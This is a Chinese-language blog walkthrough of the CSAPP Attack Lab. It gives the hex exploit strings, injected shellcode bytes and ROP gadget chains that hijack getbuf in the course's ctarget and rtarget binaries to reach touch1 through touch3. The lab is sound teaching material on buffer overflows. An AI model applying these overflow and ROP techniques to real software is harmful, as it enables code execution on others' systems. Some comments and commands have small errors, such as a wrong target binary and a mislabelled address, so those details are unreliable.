CSAPP Attack Lab詳解

来源:https://www.cnblogs.com/SVicen/archive/2022/10/29/16838693.html
-Advertisement-
Play Games

Attack Lab 參考手冊 一共六個文件 cookie.txt 一個8位16進位數,作為攻擊的特殊標誌符 farm.c 在ROP攻擊中作為gadgets的產生源 ctarget 代碼註入攻擊的目標文件 rtarget ROP攻擊的目標文件 hex2row 將16進位數轉化為攻擊字元,因為有些字元 ...


Attack Lab

參考手冊

一共六個文件

  • cookie.txt 一個8位16進位數,作為攻擊的特殊標誌符

  • farm.cROP攻擊中作為gadgets的產生源

  • ctarget 代碼註入攻擊的目標文件

  • rtarget ROP攻擊的目標文件

  • hex2row 將16進位數轉化為攻擊字元,因為有些字元在屏幕上面無法輸入,所以輸入該字元的16進位數,自動轉化為該字元

Level 1

對於第一階段,我們並不需要進行代碼註入,我們需要做的就是劫持程式流,將函數的正常返回地址給重寫,將函數重定向到我們指定的特定函數。在這個階段中,我們要重定向到touch1函數。

首先利用objdump -d ctarget > ctarget_asm得到ctarget的彙編代碼文件

0000000000401968 <test>:
  401968:       48 83 ec 08             sub    $0x8,%rsp    ; 擴展棧空間
  40196c:       b8 00 00 00 00          mov    $0x0,%eax    
  401971:       e8 32 fe ff ff          callq  4017a8 <getbuf>   ; test函數中調用了getbuf
  401976:       89 c2                   mov    %eax,%edx	; edx = eax
  401978:       be 88 31 40 00          mov    $0x403188,%esi  
  40197d:       bf 01 00 00 00          mov    $0x1,%edi
  401982:       b8 00 00 00 00          mov    $0x0,%eax
  401987:       e8 64 f4 ff ff          callq  400df0 <__printf_chk@plt> ; 調用 printf 列印信息
  40198c:       48 83 c4 08             add    $0x8,%rsp
  401990:       c3                      retq
  401991:       90                      nop
00000000004017a8 <getbuf>:
  4017a8:       48 83 ec 28             sub    $0x28,%rsp   ; 擴展棧空間40位元組  分配了四十個位元組的棧幀
  4017ac:       48 89 e7                mov    %rsp,%rdi    ; rdi = rsp
  4017af:       e8 8c 02 00 00          callq  401a40 <Gets> ; 調用Gets函數  rdi為該函數的第一個參數
  4017b4:       b8 01 00 00 00          mov    $0x1,%eax    ; eax = 1  函數返回1
  4017b9:       48 83 c4 28             add    $0x28,%rsp   
  4017bd:       c3                      retq
  4017be:       90                      nop
  4017bf:       90                      nop
00000000004017c0 <touch1>:   ; touch1的返回地址為0x4017c0
  4017c0:       48 83 ec 08             sub    $0x8,%rsp
  4017c4:       c7 05 0e 2d 20 00 01    movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
  4017cb:       00 00 00
  4017ce:       bf c5 30 40 00          mov    $0x4030c5,%edi
  4017d3:       e8 e8 f4 ff ff          callq  400cc0 <puts@plt>
  4017d8:       bf 01 00 00 00          mov    $0x1,%edi
  4017dd:       e8 ab 04 00 00          callq  401c8d <validate>
  4017e2:       bf 00 00 00 00          mov    $0x0,%edi
  4017e7:       e8 54 f6 ff ff          callq  400e40 <exit@plt>

image-20221025233958238

touch1的地址為0x4017c0,這裡我們選擇將輸入的數據寫到ctarget1.txt文件中,用hex2raw來生成位元組碼,

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00        先用垃圾數據覆蓋40個位元組的棧空間
c0 17 40 00 00 00 00 00		   最後填入touch1的地址來覆蓋getbuf()函數的返回地址   註意x86_64是小端序存儲

執行命令./hex2raw < ctarget1.txt | ./ctarget -q

  • ./hex2raw < ctarget01.txt是利用hex2raw工具將我們的輸入看作位元組級的十六進位表示進行轉化,用來生成攻擊字元串
  • |表示管道,將轉化後的輸入文件作為ctarget的輸入參數
  • 由於執行程式會預設連接 CMU 的伺服器,-q表示取消這一連接

可以看到第一關就通過了:image-20221025234801121

Level 2

第二階段,我們需要做的就是在輸入字元串中註入一小段代碼。其實整體的流程還是getbuf中輸入字元,然後攔截程式流,跳轉到調用touch2函數。首先,我們先查看一遍touch2函數所做事情:level2需要調用的touch2函數有一個unsighed型的參數,而這個參數就是lab提供的cookie。所以,這次我們在rettouch2之前,需要先把cookie放在寄存器%rdi中(第一個參數通過%rdi傳遞)。

00000000004017ec <touch2>:
  4017ec:       48 83 ec 08             sub    $0x8,%rsp
  4017f0:       89 fa                   mov    %edi,%edx
  4017f2:       c7 05 e0 2c 20 00 02    movl   $0x2,0x202ce0(%rip)        # 6044dc <vlevel>
  4017f9:       00 00 00
  4017fc:       3b 3d e2 2c 20 00       cmp    0x202ce2(%rip),%edi        # 6044e4 <cookie>
  401802:       75 20                   jne    401824 <touch2+0x38>
  401804:       be e8 30 40 00          mov    $0x4030e8,%esi
  401809:       bf 01 00 00 00          mov    $0x1,%edi
  40180e:       b8 00 00 00 00          mov    $0x0,%eax
  401813:       e8 d8 f5 ff ff          callq  400df0 <__printf_chk@plt>
  401818:       bf 02 00 00 00          mov    $0x2,%edi
  40181d:       e8 6b 04 00 00          callq  401c8d <validate>
  401822:       eb 1e                   jmp    401842 <touch2+0x56>
  401824:       be 10 31 40 00          mov    $0x403110,%esi
  401829:       bf 01 00 00 00          mov    $0x1,%edi
  40182e:       b8 00 00 00 00          mov    $0x0,%eax
  401833:       e8 b8 f5 ff ff          callq  400df0 <__printf_chk@plt>
  401838:       bf 02 00 00 00          mov    $0x2,%edi
  40183d:       e8 0d 05 00 00          callq  401d4f <fail>
  401842:       bf 00 00 00 00          mov    $0x0,%edi
  401847:       e8 f4 f5 ff ff          callq  400e40 <exit@plt>
void touch2(unsigned val){
    vlevel = 2;
    if (val == cookie){
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}
  • 將正常的返回地址設置為你註入代碼的地址,本次註入直接在棧頂註入,所以即返回地址設置為%rsp的地址
  • cookie值移入到%rdi%rdi是函數調用的第一個參數
  • 獲取touch2的起始地址
  • 想要調用touch2,而又不能直接使用call,jmp等指令,所以只能使用ret改變當前指令寄存器的指向地址。ret是從棧上彈出返回地址,所以在此之前必須先將touch2的地址壓棧

註意此程式gdb的使用,不能直接gdb ctarget,需要先輸入gdb,然後利用file ctarget打開對應的文件,或者gdb ctarget,然後下斷點b getbuf,然後輸入run -q

image-20221026081720305

首先將我們要註入的指令寫在level2_exp.s中,0x59b997fa就是cookie.txt中的值

movq $0x59b997fa, %rdi
pushq $0x4017ec
ret

然後將.s文件轉換成電腦可執行的指令系列gcc -c level2_exp.s,查看level2_exp.o文件的反彙編

level2_exp.o:     file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   68 ec 17 40 00          pushq  $0x4017ec     push指令先sub 8, %rsp 然後 movq $0x4017ec, %rsp
   c:   c3                      retq                 ret指令 pop %eip,此時rsp存儲的就是touch2的地址,就跳轉到了touch2

將對應的機器指令寫在level2_exp.txt中,這裡解釋一下,push指令後跟寄存器,表示將寄存區的值存儲到rsp指向的記憶體單元中,push imm表示將立即數存放到rsp中而不是它所指的記憶體單元。

push 1 相當於 mov M[esp], 1 sub esp, 4 push ebp 相當於 mov M[esp], ebp sub esp, 4
call func 相當於 push 0x40117e(eip+硬編碼長度) push指令又會將esp - 4

然後我們需要獲取%rsp的地址,為什麼要獲取%rsp呢,因為此關我們是通過向棧中寫入我們註入指令的指令序列,在棧的開始位置為註入代碼的指令序列,然後填充滿至40個位元組,在接下來的8個位元組,也就是原來的返回地址,填充成註入代碼的起始地址,也就是%rsp的地址,整個流程就是: getbuf => ret => 0x5561dc78 => mov $0x59b997fa, %rdi => ret => 0x4017ec

image-20221026085737387

image-20221026085440677

rsp保存的是test棧幀的返回地址,上面是高地址所以我們要註入的指令如下,註意小端序,

48 c7 c7 fa 97 b9 59 68 ec 17
40 00 c3 00 00 00 00 00 00 00  前面的位元組時我們註入的  之後用垃圾數據填充棧中剩餘的位元組
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00   40位元組   4 * 10
78 dc 61 55 00 00 00 00 00 00   0x5561dc78 即為我們要返回的我們註入的位元組的地址  即執行 sub rsp,0x28後的結果

最後執行./hex2raw < level2_exp.txt | ./ctarget -q即可通過level2

image-20221026090251672

Level 3

00000000004018fa <touch3>:
  4018fa:       53                      push   %rbx
  4018fb:       48 89 fb                mov    %rdi,%rbx
  4018fe:       c7 05 d4 2b 20 00 03    movl   $0x3,0x202bd4(%rip)        # 6044dc <vlevel>
  401905:       00 00 00
  401908:       48 89 fe                mov    %rdi,%rsi
  40190b:       8b 3d d3 2b 20 00       mov    0x202bd3(%rip),%edi        # 6044e4 <cookie>
  401911:       e8 36 ff ff ff          callq  40184c <hexmatch>          # 調用了 hexmatch
  401916:       85 c0                   test   %eax,%eax
  401918:       74 23                   je     40193d <touch3+0x43> # 如果不匹配的話 跳轉到 0x40193d
  40191a:       48 89 da                mov    %rbx,%rdx
  40191d:       be 38 31 40 00          mov    $0x403138,%esi
  401922:       bf 01 00 00 00          mov    $0x1,%edi
  401927:       b8 00 00 00 00          mov    $0x0,%eax
  40192c:       e8 bf f4 ff ff          callq  400df0 <__printf_chk@plt>
  401931:       bf 03 00 00 00          mov    $0x3,%edi
  401936:       e8 52 03 00 00          callq  401c8d <validate>
  40193b:       eb 21                   jmp    40195e <touch3+0x64>
  40193d:       48 89 da                mov    %rbx,%rdx
  401940:       be 60 31 40 00          mov    $0x403160,%esi
  401945:       bf 01 00 00 00          mov    $0x1,%edi
  40194a:       b8 00 00 00 00          mov    $0x0,%eax
  40194f:       e8 9c f4 ff ff          callq  400df0 <__printf_chk@plt>
  401954:       bf 03 00 00 00          mov    $0x3,%edi
  401959:       e8 f1 03 00 00          callq  401d4f <fail>
  40195e:       bf 00 00 00 00          mov    $0x0,%edi
  401963:       e8 d8 f4 ff ff          callq  400e40 <exit@plt>
void touch3(char *sval){
    vlevel = 3;
    if (hexmatch(cookie, sval)){
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}
000000000040184c <hexmatch>:
  40184c:       41 54                   push   %r12
  40184e:       55                      push   %rbp
  40184f:       53                      push   %rbx
  401850:       48 83 c4 80             add    $0xffffffffffffff80,%rsp  # 其實是-0x80的補碼 相當於開闢了128位元組空間
  401854:       41 89 fc                mov    %edi,%r12d
  401857:       48 89 f5                mov    %rsi,%rbp
  40185a:       64 48 8b 04 25 28 00    mov    %fs:0x28,%rax
  401861:       00 00
  401863:       48 89 44 24 78          mov    %rax,0x78(%rsp)
  401868:       31 c0                   xor    %eax,%eax
  40186a:       e8 41 f5 ff ff          callq  400db0 <random@plt>
  40186f:       48 89 c1                mov    %rax,%rcx
  401872:       48 ba 0b d7 a3 70 3d    movabs $0xa3d70a3d70a3d70b,%rdx
  401879:       0a d7 a3
  40187c:       48 f7 ea                imul   %rdx
  40187f:       48 01 ca                add    %rcx,%rdx
  401882:       48 c1 fa 06             sar    $0x6,%rdx
  401886:       48 89 c8                mov    %rcx,%rax
  401889:       48 c1 f8 3f             sar    $0x3f,%rax
  40188d:       48 29 c2                sub    %rax,%rdx
  401890:       48 8d 04 92             lea    (%rdx,%rdx,4),%rax
  401894:       48 8d 04 80             lea    (%rax,%rax,4),%rax
  401898:       48 c1 e0 02             shl    $0x2,%rax
  40189c:       48 29 c1                sub    %rax,%rcx
  40189f:       48 8d 1c 0c             lea    (%rsp,%rcx,1),%rbx
  4018a3:       45 89 e0                mov    %r12d,%r8d
  4018a6:       b9 e2 30 40 00          mov    $0x4030e2,%ecx
  4018ab:       48 c7 c2 ff ff ff ff    mov    $0xffffffffffffffff,%rdx
  4018b2:       be 01 00 00 00          mov    $0x1,%esi
  4018b7:       48 89 df                mov    %rbx,%rdi
  4018ba:       b8 00 00 00 00          mov    $0x0,%eax
  4018bf:       e8 ac f5 ff ff          callq  400e70 <__sprintf_chk@plt>
  4018c4:       ba 09 00 00 00          mov    $0x9,%edx
  4018c9:       48 89 de                mov    %rbx,%rsi
  4018cc:       48 89 ef                mov    %rbp,%rdi
  4018cf:       e8 cc f3 ff ff          callq  400ca0 <strncmp@plt>  # 調用 strncmp 函數比較字元串
  4018d4:       85 c0                   test   %eax,%eax
  4018d6:       0f 94 c0                sete   %al
  4018d9:       0f b6 c0                movzbl %al,%eax
  4018dc:       48 8b 74 24 78          mov    0x78(%rsp),%rsi
  4018e1:       64 48 33 34 25 28 00    xor    %fs:0x28,%rsi
  4018e8:       00 00
  4018ea:       74 05                   je     4018f1 <hexmatch+0xa5>
  4018ec:       e8 ef f3 ff ff          callq  400ce0 <__stack_chk_fail@plt>
  4018f1:       48 83 ec 80             sub    $0xffffffffffffff80,%rsp  # 這裡相當於將 rsp減去了一個數 
  4018f5:       5b                      pop    %rbx
  4018f6:       5d                      pop    %rbp
  4018f7:       41 5c                   pop    %r12
  4018f9:       c3                      retq
int hexmatch(unsigned val, char *sval){
    char cbuf[110];  // 
    char *s = cbuf + random() % 100;  // 這句代碼說明瞭 s 的位置是隨機的  所以我們不應該把我們輸入的shellcode放在hexmatch的棧幀中,應該將其放在父棧幀中,也就是test棧幀
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

和Level 2 一樣touch3也需要傳入cookie但是要求以字元串的形式傳入。和Level 2的區別是touch3的參數是cookie的字元串地址, 寄存器%rdi存儲cookie字元串的地址。所以我們還需要將Cookie的內容存到指定的記憶體地址,字元串存到記憶體中都是以ASCII碼形式存儲的,所以需要將Cookie的值0x59b997fa轉為ASCII

Some Advice

  • 在C語言中字元串是以\0結尾,所以在字元串序列的結尾是一個位元組0

  • man ascii 可以用來查看每個字元的16進位表示

  • 當調用hexmatchstrncmp時,他們會把數據壓入到棧中,有可能會覆蓋getbuf棧幀的數據,所以傳進去字元串的位置必須小心謹慎。

  • 對於傳進去字元串的位置,如果放在getbuf棧中,由於char *s = cbuf + random() % 100;s的位置是隨機的,且hexmatch函數申請了0x80位元組的棧空間,所以之前留在getbuf中的數據,則有可能被hexmatch所重寫,所以放在getbuf中並不安全。為了安全起見,我們把字元串放在getbuf的父棧幀中,放在不被getbuf影響的棧幀中,也就是test棧幀中。

解題思路:

  • cookie字元串轉化為16進位 35 39 62 39 39 37 66 61 00,末尾是\0

    image-20221026230413113

  • 將字元串的地址傳送到%rdi中,但是字元串地址怎麼確定呢?首先可以看到getbuf中沒有執行sub rsp, 0x28rsp=0x5561dca0,我們要將字元串存儲到rsp + 8的位置,存儲到父棧幀中

    image-20221026234728058

    test的棧幀如下,就是ca8,可以把字元串的地址放在test的棧幀中。

    image-20221026235516565

  • 和第二階段一樣,想要調用touch3函數,則先將touch3函數的地址壓棧,然後調用ret指令。

movq $0x5561dca8, %rdi  ; 字元串地址  這裡不能寫 cookie對應的16進位表示了
pushq $4018fa           ; touch3 地址
ret

0000000000000000 <.text>:
   0:   48 c7 c7 a8 dc 61 55    mov    $0x5561dca8,%rdi
   7:   68 fa 18 40 00          pushq  $0x4018fa
   c:   c3                      retq
上面三條指令的序列為 48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3

所以我們構造的指令位元組序列為  將字元串的位元組碼存放在getbuf的父棧幀中  從低地址向高地址覆蓋  覆蓋完返回地址後  再+8填入字元串
48 c7 c7 a8 dc 61 55 68 
fa 18 40 00 c3 00 00 00    # 攻擊的指令位元組碼
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00    # 到這裡就是 getbuf 的rsp了   
78 dc 61 55 00 00 00 00    # 註入指令首地址  ret 的返回地址
35 39 62 39 39 37 66 61 00 # 攻擊的指令中給出的字元串的地址為 rsp + 0x8 的位置  需要剛好在這裡

最後驗證結果,./hex2raw < level3_exp.txt | ./ctarget -q

image-20221026235349769

Return Oriented Programming

緩衝區溢出攻擊的普遍發生給電腦系統造成了許多麻煩。現代的編譯器和操作系統實現了許多機制,以避免遭受這樣的攻擊,限制入侵者通過緩衝區溢出攻擊獲得系統控制的方式。

Performing code-injection attacks on program RTARGET is much more difficult than it is for CTARGET, because it uses two techniques to thwart such attacks:

  • It uses randomization so that the stack positions differ from one run to another. This makes it impossible to determine where your injected code will be located. 開啟了PIE 保護(棧隨機化)
  • It marks the section of memory holding the stack as nonexecutable, so even if you could set the program counter to the start of your injected code, the program would fail with a segmentation fault. 開啟了NX保護(棧中數據不可執行)
  • 此外,還有一種棧保護,如果棧中開啟Canary found,金絲雀值,在棧返回的地址前面加入一段固定數據,棧返回時會檢查該數據是否改變。那麼就不能用直接用溢出的方法覆蓋棧中返回地址,而且要通過改寫指針與局部變數、leak canary、overwrite canary的方法來繞過

The strategy with ROP is to identify byte sequences within an existing program that consist of one or more instructions followed by the instruction ret. Such a segment is referred to as a gadget

ROP其實就是利用已存在的代碼執行出我們想要的效果,如下圖所示,分為多個gadget,每一個gadget都是一段指令序列,最後以ret指令(0xc3)結尾,多個gadget中的指令形成一條利用鏈,一個gadget可以利用編譯器生成的對應於彙編語言的代碼,事實上,可能會有很多有用的gadgets,但是還不足以實現一些重要的操作,比如正常的指令序列是不會在ret 指令前出現pop %edi指令的。幸運的是,在一個面向位元組的指令集,比如x86-64,通常可以通過從指令位元組序指令的其他部分提取出我們想要的指令。

image-20221027220042976

下麵舉個例子來詳細說明ROP與之前的Buffer overflow有什麼區別,我們不關心棧地址在哪,只需要看有沒有可以利用的指令

我們可以在程式的彙編代碼中找到這樣的代碼:

0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq

這段代碼的本意是

void setval_210(unsigned *p)
{
    *p = 3347663060U;
}

這樣一個函數,但是通過觀察我們可以發現,彙編代碼的最後部分:48 89 c7 c3又可以代表

movq %rax, %rdi
ret

這兩條指令(指令的編碼可以見講義中的附錄)。

第1行的movq指令可以作為攻擊代碼的一部分來使用,那麼我們怎麼去執行這個代碼呢?我們知道這個函數的入口地址是0x400f15,這個地址也是這條指令的地址。我們可以通過計算得出48 89 c7 c3這條指令的首地址是0x400f18,我們只要把這個地址存放在棧中,在執行ret指令的時候就會跳轉到這個地址,執行48 89 c7 c3編碼的指令。同時,我們可以註意到這個指令的最後是c3編碼的是ret指令,利用這一點,我們就可以把多個這樣的指令地址依次放在棧中,每次ret之後就會去執行棧中存放的下一個地址指向的指令,只要合理地放置這些地址,我們就可以執行我們想要執行的命令從而達到攻擊的目的。

Level 2

For Phase 4, you will repeat the attack of Phase 2, but do so on program RTARGET using gadgets from your gadget farm. You can construct your solution using gadgets consisting of the following instruction types, and using only the first eight x86-64 registers (%rax–%rdi).

在這一階段中,我們其實是重覆代碼註入攻擊中第二階段的任務,劫持程式流,返回到touch2函數。只不過這個我們要做的是ROP攻擊,這一階段我們無法再像上一階段中將指令序列放入到棧中,所以我們需要到現有的程式中,找到我們需要的指令序列。

下麵是一些常見指令的指令碼

  • movq : The codes for these are shown in Figure 3A.
  • popq : The codes for these are shown in Figure 3B.
  • ret : This instruction is encoded by the single byte 0xc3.
  • nop : This instruction (pronounced “no op,” which is short for “no operation”) is encoded by the single byte 0x90. Its only effect is to cause the program counter to be incremented by 1

Some Advice

  • All the gadgets you need can be found in the region of the code for rtarget demarcated(劃定) by the functions start_farm and mid_farm,所以需要用到的gadgets都可以在rtargetstart_farmmid_farm之間找到
  • You can do this attack with just two gadgets.
  • When a gadget uses a popq instruction, it will pop data from the stack. As a result, your exploit string will contain a combination of gadget addresses and data.

一些常見指令對應的機器碼,movqpopqmovlnop(2 Bytes)

image-20221027224811936

image-20221027224838306

image-20221027224849747

image-20221027224908206

首先來回顧一下Level 2中我們要做什麼,需要返回到touch2函數中,不過這一次我們要做的是ROP攻擊,不能直接將指令註入到棧中

void touch2(unsigned val){
    vlevel = 2;
    if (val == cookie){
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

rtarget程式做保護檢查,可以看到該程式開啟了多種保護,導致我們之前的方法顯然是不可行的

image-20221027223705933

現在我們無法使用棧來存放代碼,但是我們仍可以設置棧中的內容。不能註入代碼去執行,我們還可以利用程式中原有的代碼,利用ret指令跳轉的特性,去執行程式中已經存在的指令。考慮我們需要利用的指令,然後去尋找對應的gadget,我們需要將Cookie的值存到rdi中,多種方法可以解決,首先來看一種最容易想到的

一條指令就可以實現我們想實現的操作pop rdi,當然我們需要保證pop指令執行時rsp中存儲的剛好是59b997fa即Cookie的值

下麵我們要做的就是找到存放pop rdi這一指令的地址,由上面的指令對應的機器碼,可以找到popq rdi對應機器碼0x5f,首先利用將rtarget反彙編,,objdump -d rtarget > gadget存放在farm.c中,我們編譯後再反彙編得到彙編指令及其對應的地址,查找0x5f

402b14:>--41 5d                >--pop    %r13
402b16:>--41 5e                >--pop    %r14
402b18:>--41 5f                >--pop    %r15  ; 這裡找到了 5f 對應的即為 pop rdi  記錄下地址 402b18
402b1a:>--c3                   >--retq

那麼我們要找的gadget就有了,覆蓋棧中返回地址為402b19即可,註意前面的41沒用,首先原函數的返回地址變為了popq edi的地址,然後就會執行pop rdi指令,上一條指令執行完後rsp + 8,我們只需要將59b997fa填充到402b19的下麵就可以了,此時就執行了popq rdi操作,最後一行填充touch2的地址4017ec,具體如下

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
19 2b 40 00 00 00 00 00   ; popq rdi指令所在地址  這裡原本是 ret 現在相當於 ret 19 2b 40,相當於調用了0x402b19處指令
fa 97 b9 59 00 00 00 00   ; Cookie的值 pop 指令會使rsp+8,上面的地址最後也會有c3,
ec 17 40 00 00 00 00 00   ; touch2函數的地址

輸入./hex2raw -i ROP1.txt | ./ctarget -q,結果如下,好像不夠完美,雖然調用了touch2函數,但程式出現了段錯誤

image-20221027233732833

第二種解法:我們需要的gadgets

popq %rax
movq %rax, %rdi

首先找popq eax指令的機器碼,對應的是0x58,下麵4019a7處前面的指令沒用,我們需要填入的地址為4019ab

00000000004019a7 <addval_219>: 
  4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax
  4019ad:	c3                   	retq  

下一步movq %rax, %rdi的機器碼為48 89 c7,找對應的指令所在地址,如下,對應指令起始地址為4019a2

00000000004019a0 <addval_273>:
  4019a0: 8d 87 48 89 c7 c3     lea    -0x3c3876b8(%rdi),%eax
  4019a6: c3  

註意在popq rax指令地址的下麵需要填充上Cookie的值,然後在movq %rax, %rdi指令地址的下麵填充touch2函數的地址

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00    ; popq %rax  這裡原本是 ret 現在相當於 ret 19 2b 40,相當於調用了0x402b19處指令 
fa 97 b9 59 00 00 00 00    ; Cookie的值  上面的指令執行完後 rsp+8  指向現在的地址  然後 pop %rax相當於movq cookir,%rax
a2 19 40 00 00 00 00 00    ; movq %rax, %rdi   pop 指令執行完後也會 rsp+8 且每個gadget最後都是以c3結尾的
ec 17 40 00 00 00 00 00    ; touch2地址

然後就可以看見PASS掉了

image-20221027234801564

Level 3

在這一階段中,我們需要做的就是把字元串的起始地址,傳送到%rdi,然後調用touch3函數。

因為每次棧的位置是隨機的,所以無法直接用地址來索引字元串的起始地址,只能用棧頂地址 + 偏移量來索引字元串的起始地址。從farm中我們可以獲取到這樣一個gadget,相加操作只能對rsirdi進行,我們想得到棧頂地址 + 偏移,只能將棧頂內容存到rdilea (%rdi,%rsi,1),%rax,這樣就可以把字元串的首地址傳送到%rax,將棧頂指針rsp的值賦給rdirsi寄存器表示字元串的偏移量只要能夠讓%rdi和%rsi其中一個保存%rsp,另一個保存從stack中pop出來的偏移值,就可以表示Cookie存放的地址,然後把這個地址mov%rdi就大功告成了。從%rax並不能直接mov%rsi,而只能通過%rax->%rdx->%rcx->%rsi來完成這個。

解題思路:

  • 首先獲取到%rsp的地址,並且傳送到%rdi

  • 其二獲取到字元串的偏移量值,並且傳送到%rsi

  • lea (%rdi,%rsi,1),%rax, 將字元串的首地址傳送到%rax, 再傳送到%rdi

  • 調用touch3函數

  • 第一步:獲取到%rsp的地址,尋找gadgetmovq %rsp, %rax,其對應的機器碼為48 89 e0

0000000000401a03 <addval_190>:
401a03:>--8d 87 41 48 89 e0 >--lea 0x1f76b7bf(%rdi),%eax ;目標gadget地址為0x401a06
401a09:>--c3 >--retq


+ 第二步:將`rax`的值傳送到`rdi`,暫存`rax`的值,找`gadget`為`movq %rax, %rdi`,機器碼為`48 89 c7`

```asm
00000000004019a0 <addval_273>:
4019a0:>--8d 87 48 89 c7 c3    >--lea    0x3c3876b8(%rdi),%eax    ; 目標gadget地址為0x4019a2          
4019a6:>--c3                   >--retq
  • 第三步:將偏移量的內容彈出到rax,即popq %rax,對應機器碼 58,在這條指令下麵寫上偏移量48

    00000000004019ca <getval_280>:
    4019ca: b8 29 58 90 c3        mov    $0xc3905829,%eax  ; 地址為0x4019cc  90為nop指令
    4019cf: c3   
    
  • 第四步:eax的值存儲到edxmovq %eax, %edx,對應機器碼89 c2,如果是rax就是48 89 c2

    00000000004019db <getval_481>:
    4019db: b8 5c 89 c2 90        mov    $0x90c2895c,%eax  ; 4019dd
    4019e0: c3    
    
  • 第五步:edx的值存儲到ecx,對應機器碼89 d1

    00000000004019f6 <getval_226>:
    4019f6:>--b8 89 d1 48 c0       >--mov    $0xc048d189,%eax ; 4019f7
    4019fb:>--c3                   >--retq---
    
  • 第六步:將ecx寄存器的內容傳送到 %esiecx寄存器存儲的就是偏移量),機器碼89 ce

    00000000004019e8 <addval_113>:
    4019e8:>--8d 87 89 ce 78 c9    >--lea    -0x36873177(%rdi),%eax ; 4019ea
    4019ee:>--c3                   >--retq---
    
  • 第七步,將棧頂 + 偏移量得到字元串的首地址傳送到%raxgadget地址為0x4019d6

    00000000004019d6 <add_xy>:
    4019d6: 48 8d 04 37           lea    (%rdi,%rsi,1),%rax  ; 0x4019d6
    4019da: c3                    retq 
    
  • 第八步:將字元串首地址%rax傳送到%rdi,機器碼48 89 c7

    00000000004019a0 <addval_273>:
    4019a0: 8d 87 48 89 c7 c3     lea    -0x3c3876b8(%rdi),%eax ; 4019a2
    4019a6: c3
    

整個棧結構如下

image-20221028235742072

綜上所述,我們可以得到字元串首地址和返回地址之前隔了9條指令,所以偏移量為72個位元組,也就是0x48,可以的到如下字元串的輸入

先將偏移量保存到rsi中,再保存rsp
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 # 前0x28個字元填充0x00
cc 19 40 00 00 00 00 00 # popq %rax
20 00 00 00 00 00 00 00 # 偏移量   
42 1a 40 00 00 00 00 00 # movl %eax,%edx
69 1a 40 00 00 00 00 00 # movl %edx,%ecx
27 1a 40 00 00 00 00 00 # movl %ecx,%esi  rsi為0x20
06 1a 40 00 00 00 00 00 # movq %rsp,%rax  rax = rsp
c5 19 40 00 00 00 00 00 # movq %rax,%rdi
d6 19 40 00 00 00 00 00 # add_xy  指令 lea    (%rdi,%rsi,1),%rax 
c5 19 40 00 00 00 00 00 # movq %rax,%rdi
fa 18 40 00 00 00 00 00 # touch3地址
35 39 62 39 39 37 66 61 # 目標字元串
00 00 00 00 00 00 00 00 

先保存rsp,再將偏移量保存到rsi中(eax-->edx-->ecx-->esi)
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 # 前0x28個字元填充0x00
06 1a 40 00 00 00 00 00 # movq %rsp, %rax   在這裡就保存了rsp的值  所以與上面的偏移不同
a2 19 40 00 00 00 00 00 # movq %rax, %rdi
cc 19 40 00 00 00 00 00 # popq %rax
48 00 00 00 00 00 00 00 # 偏移量 0x48 即 8*9=72個位元組 返回地址與Cookie首地址相差 9條指令
dd 19 40 00 00 00 00 00 # movq %eax, %edx  註意這裡是32位  嘗試rax,沒有movq rax,rdx的gadget
f7 19 40 00 00 00 00 00 # movq %edx, %ecx       401a70才可以通過  401a70 或者 401a34 但是4019f7不可以通過 
ea 19 40 00 00 00 00 00 # movq %ecx, %esi
d6 19 40 00 00 00 00 00 # lea  (%rdi,%rsi,1),%rax 將棧頂 + 偏移量得到字元串的首地址傳送給 rax
a2 19 40 00 00 00 00 00 # movq %rax, %rdi  傳入touch3中的參數  即Cookie字元串的首地址
fa 18 40 00 00 00 00 00 # touch3地址
35 39 62 39 39 37 66 61 00# 目標字元串

 975 00000000004019f6 <getval_226>:   FAIL
 976   4019f6:>--b8 89 d1 48 c0       >--mov    $0xc048d189,%eax
 977   4019fb:>--c3                   >--retq---
 
1011 0000000000401a33 <getval_159>:  可以PASS
1012   401a33:>--b8 89 d1 38 c9       >--mov    $0xc938d189,%eax                                                   1013   401a38:>--c3                   >--retq---

1043 0000000000401a68 <getval_311>:  FAIL
1044   401a68:>--b8 89 d1 08 db       >--mov    $0xdb08d189,%eax
1045   401a6d:>--c3                   >--retq--- 

1047 0000000000401a6e <setval_167>:   PASS
1048   401a6e:>--c7 07 89 d1 91 c3    >--movl   $0xc391d189,(%rdi)
1049   401a74:>--c3                   >--retq---

執行結果

image-20221029000658439


您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • 以下為本人的學習筆記 1.為什麼需要泛型 public class GenericDeom{ @Test public void test1(){ List list = new ArrayList(); list.add("tste"); list.add(10); list.add(new Ob ...
